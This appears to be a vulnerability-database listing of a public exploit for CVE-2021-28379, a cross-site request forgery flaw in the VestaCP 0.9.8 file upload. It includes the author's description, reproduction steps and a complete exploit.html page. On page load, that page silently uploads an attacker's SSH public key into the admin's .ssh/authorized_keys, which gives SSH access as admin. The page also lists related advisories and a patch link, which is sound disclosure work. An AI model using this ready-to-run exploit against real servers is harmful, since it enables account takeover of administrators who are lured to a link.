VestaCP 0.9.8 Cross Site Request Forgery

🗓️ 17 Mar 2021 00:00:00Reported by Fady OthmanType

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VestaCP 0.9.8 File Upload CSRF vulnerability with admin access via SS

Reporter	Title	Published	Views	Family All 10
0day.today	VestaCP 0.9.8 - File Upload CSRF Vulnerability	17 Mar 202100:00	–	zdt
Circl	CVE-2021-28379	15 Mar 202111:28	–	circl
CNNVD	Vesta Control Panel 代码问题漏洞	15 Mar 202100:00	–	cnnvd
CVE	CVE-2021-28379	15 Mar 202105:56	–	cve
Cvelist	CVE-2021-28379	15 Mar 202105:56	–	cvelist
Exploit DB	VestaCP 0.9.8 - File Upload CSRF	17 Mar 202100:00	–	exploitdb
EUVD	EUVD-2021-15061	7 Oct 202500:30	–	euvd
NVD	CVE-2021-28379	15 Mar 202106:15	–	nvd
Prion	Code injection	15 Mar 202106:15	–	prion
RedhatCVE	CVE-2021-28379	9 Jan 202611:24	–	redhatcve

`# Exploit Title: VestaCP 0.9.8 - File Upload CSRF  
# Exploit Author: Fady Othman   
# Date: 16-03-2021  
# Vendor Homepage: https://vestacp.com/  
# Software Link: https://github.com/myvesta/vesta  
# Version: Vesta Control Panel (aka VestaCP) through 0.9.8-27 and myVesta through 0.9.8-26-39  
# CVE ID: CVE-2021-28379  
# Patch: https://github.com/myvesta/vesta/commit/3402071e950e76b79fa8672a1e09b70d3860f355  
  
## Description  
I found that the checks performed by the upload functionality are insufficient, the upload functionality is vulnerable to CSRF, in addition it allows uploading files and creating folders under "/tmp" and under the home folder (usually "/home/admin"), the later is the one that is important for this exploit to work.  
  
I was able to use this to create a ".ssh" folder in the admin home and upload "authorized_keys" file which allowed me to access the server later as "admin" using SSH.  
  
Since this relies on a *CSRF* the admin has to visit a link, please note that *sshd* is already installed by *VestaCP* when using the default installation script so no need to install it, also please note that files can be replaced so even if the admin has already added "authorized_keys" file, it will be replaced with the attacker's file.  
  
Affected endpoint: "/upload/index.php", i.e. "/upload/index.php?dir=/home/admin/.ssh/"  
  
## Steps to reproduce.  
1. Install the latest version of VestaCP in your machine by following the instructions at https://vestacp.com/install/.  
2. Login as the admin in Firefox, then open "exploit.html".  
3. ssh into the machine using 'ssh -i id_rsa admin@victimmachine', now you have access as admin.  
  
# exploit.html   
  
<html>  
<head>   
<script>  
  
function exploit() {  
var mystring = `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnXyu8AsFjbuE5YMUa74PrNkO9coGWnw59v/cSVMgOZVpx+UziT0BRFurhVkyujTCXdz6OlN4yFZjCVMbAgZ7/liNu9ecGSGNcUTC+Br5YawlG9QICEaJ/bK32+luKdM1c5ONbRby+ARFsC9+iZu6IkAPnSRntbNgDZpuej/cKfm85EnvdQPAijvs4+899w2+rGvhSQ0wH4l1KNlV1yVoAsg0PFYGDnbygGA5Eo4k9LHwa2Hsm5b2Q5GhqlEUCgYFOjScuORczwhctVtp4VWKXiFoMLJupNhot/OqUXkoNgE6UUd75XcLNGMBiyfLpfXO2u1sGsw5nTiKvNn+1YdC7AKHWBjxl3wDY8hMf/gcveV4Nh45mMUu0p6kptDdVhELeeys8euHiTWOk+FLCKkps9eLiyl8gQUfWcFVj0dgqYVJne2S1U33wnofRhj0fGWAJf14xHhwnTi7u58u+0U1NJchOTHAaeX1Swqk2J34Ny9GwD01a71DFIIcIbgcef6c= fady@fady-Lenovo-Legion-Y530-15ICH-1060`;  
var fileContent = new Blob([mystring], {  
type: 'text/plain'  
});  
myFormData = new FormData();  
myFormData.append("files", fileContent, "authorized_keys");  
fetch("https://localhost:8083/upload/index.php?dir=/home/admin/.ssh/", {  
method: "post",  
body: myFormData,  
credentials: "include"  
}); }  
</script>  
  
</head>  
  
<body onload="exploit();">  
  
  
</body>  
</html>  
`

17 Mar 2021 00:00Current

0.5Low risk

Vulners AI Score0.5

EPSS0.0329